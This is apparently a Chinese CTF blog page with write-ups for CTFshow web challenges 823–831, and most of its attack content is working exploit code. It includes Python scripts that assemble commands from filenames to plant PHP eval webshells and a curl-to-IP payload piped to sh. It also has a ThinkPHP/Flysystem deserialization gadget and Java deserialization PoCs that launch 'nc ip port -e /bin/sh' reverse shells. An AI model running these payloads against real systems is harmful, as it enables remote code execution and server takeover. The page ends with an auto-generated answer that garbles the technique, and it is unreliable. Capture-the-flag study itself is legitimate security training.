# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) <= 5){
    shell_exec($cmd);
}
?>

*可以将文件名作为命令进行执行

最好将脚本中的5字符命令自己敲一下
如果压缩包里面有php命令可以直接php进行运行
利用脚本

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://77e86d43-d65b-4635-8230-9214d4463ff2.challenge.ctf.show/"
url_2 = url+".php"
delay = 0.3

chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]

clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]

shell_payload=[
'>tar',
'>vcf',
'>z'
]

file={
	'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}


def changeFile():
	for p in chagneFile_payload:
		sendPayload(url,p)
		print("[*] create "+p.strip())
		time.sleep(delay)

def clearFile():
	for p in clearFile_payload:
		sendPayload(url_2,p)
		print("[*] create "+p.strip())
		time.sleep(delay)

def getshell():
	for p in shell_payload:
		sendPayload(url_2,p)
		print("[*] create "+p.strip())
		time.sleep(delay)
	data={
		"cmd":"* /t*"
	}
	requests.post(url_2,data=data,files=file)
	data={
		"cmd":"php z"
	}
	requests.post(url_2,data=data)

def checkShell():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def sendPayload(url,payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)



def run():
	changeFile()
	clearFile()
	getshell()
	checkShell()

def main():
	run()

if __name__ == '__main__':
	main()

web824(5字符可写,无dir)

题目同上
写入grep h
接着执行* > j
实际执行的是grep h index.php
得到

highlight_file(__FILE__);
    shell_exec($cmd);

之后将他cp到index.php,即
将j中的内容添加到index.php后面并且写入到i中
cat * >> i*
最后将i的copy到index.php中。
不过适用的情况不多,需要最终调用的命令带h或者p。

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = ""

payload=[
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(0.3)
	print("[*] Attack success!!!Webshell is "+url)

def main():
	run()

if __name__ == '__main__':
	main()

即可命令执行
(由于没有回显,可以在当前页面写一句话木马)

web825(4字符,可写,有dir)

<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

#flag in database;
error_reporting(0);
highlight_file(__FILE__);

$cmd = $_POST['cmd'];
if(strlen($cmd) <= 4){
    shell_exec($cmd);
}
?>

本题主要就是构造ls -t
可以利用

'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',

进行构造ls -t > x中
之后执行x就行
脚本

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = ""

payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(0.3)

def check():
	response = requests.get(url+"a.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
	run()
	check()

if __name__ == '__main__':
	main()

(这个码是get传参,需要套娃)

web826(4字符,可写,无dir)

没有dir,师傅给出了新的方法
这里需要flask搭建一个输出

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

的网页

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:55:58
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = "http://68786806-1097-4051-acc5-9b89a2d7e85e.challenge.ctf.show/"
#url="http://101.34.94.44/aaa/index.php" yu师傅搭建的环境

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

#这个地方的ip是用的10进制,因为用普通的ip地址存在多个点号。
#可以用这个网站转https://tool.520101.com/wangluo/jinzhizhuanhuan/
'>sh',
'>\\|\\',
'>38\\',
'>44\\',
'>\\:\\',
'>57\\',
'>33\\',
'>95\\',
'>94\\',
'>20\\',
'>\\ \\',
'>rl\\',
'>cu\\',

'sh z',
'sh a',
]
def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"1.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"1.php")

def main():
	run()
	check()

if __name__ == '__main__':
	main()

web827(4字符,可写、无dir,不出网)

服务器不出网则无法使用curl命令,老套路

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-06 13:25:41
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-10 20:56:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests
import time

url = ""

payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',

'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',


'sh z',
'sh a'
]

def writeFile(payload):
	data={
	"cmd":payload
	}
	requests.post(url,data=data)

def run():
	for p in payload:
		writeFile(p.strip())
		print("[*] create "+p.strip())
		time.sleep(1)

def check():
	response = requests.get(url+"a.php")
	if response.status_code == requests.codes.ok:
		print("[*] Attack success!!!Webshell is "+url+"a.php")

def main():
	run()
	check()

if __name__ == '__main__':
	main()

总结

web828(国赛TP6的反序列化)

payload

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-05-27 15:32:51
# @Last Modified by:   h1xa
# @Last Modified time: 2022-05-31 20:16:32
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

namespace League\Flysystem\Adapter;

class Local{

}

namespace League\Flysystem\Cached\Storage;

use League\Flysystem\Adapter\local;

class Adapter{
	protected $adapter;
	protected $file;
	protected $cache = [];
	protected $autosave;

	public function __construct(){
		$this->adapter=new Local();
		$this->autosave=false;
		$this->file="1.php";
		array_push($this->cache, '<?php $a=$_POST[1];eval($a);?>');
	}

}


$adapter = new Adapter();


echo urlencode(serialize($adapter));





大概思路
寻找_destruct发现

跟进save发现

在这里我们看到write函数
其中只要file和content两个参数可控,就应该可以写文件
跟进getforstorage发现

可以发现我们将恶意代码放给cache属性,他就会json加密并赋给content,所以content可控,由于file本身就是属性,所以file也可控
接下类就是查看write函数
全局查找write函数可以发现local类中有write函数,同时还有file_put_contents函数

分析write函数发现location是可控的
因此写文件成立
利用上面的poc可以写文件且写入成功

网上其他payload

web829

poc

package com.ctfshow.entity;

import java.io.*;
import java.util.Base64;

public class test{
    public static void main(String[] args) throws IOException {
        User user = new User("nc ip port -e /bin/sh");
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(user);
         byte[] bytes = bo.toByteArray();
        bo.close();
        oo.close();
        String userData  = new String(Base64.getEncoder().encode(bytes));
        System.out.println(userData);

    }

}

package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable{
        private static final long serialVersionUID = -3254536114659397781L;
        private String username;

        public User(String username) {
            this.username = username;
        }

        public String getName(){
            return this.username;
        }

        private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
            in.defaultReadObject();
            Runtime.getRuntime().exec(this.username);
        }
}

web 830

poc

package com.ctfshow.entity;

import java.io.*;
import java.util.Base64;

public class test{
    public static void main(String[] args) throws IOException {
        User user = new User("cyxin");
        user.secret = "nc ip port -e /bin/sh";
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(user);
         byte[] bytes = bo.toByteArray();
        bo.close();
        oo.close();
        String userData  = new String(Base64.getEncoder().encode(bytes));
        System.out.println(userData);

    }

}

package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User extends BaseUser{
        private String username;

        public User(String username) {
            this.username = username;
        }

        public String getName(){
            return this.username;
        }
}


package com.ctfshow.entity;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class BaseUser implements Serializable {
    private static final long serialVersionUID = -9058183616471264199L;
    public String secret=null;


}

web831

package com.ctfshow.entity;

import java.io.*;
import java.util.Base64;

public class test{
    public static void main(String[] args) throws IOException {
        BaseUser user = new BaseUser();
        user.secret = "nc ip port -e /bin/sh";
        ByteArrayOutputStream bo = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(bo);
        oo.writeObject(user);
         byte[] bytes = bo.toByteArray();
        bo.close();
        oo.close();
        String userData  = new String(Base64.getEncoder().encode(bytes));
        System.out.println(userData);

    }

}



  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值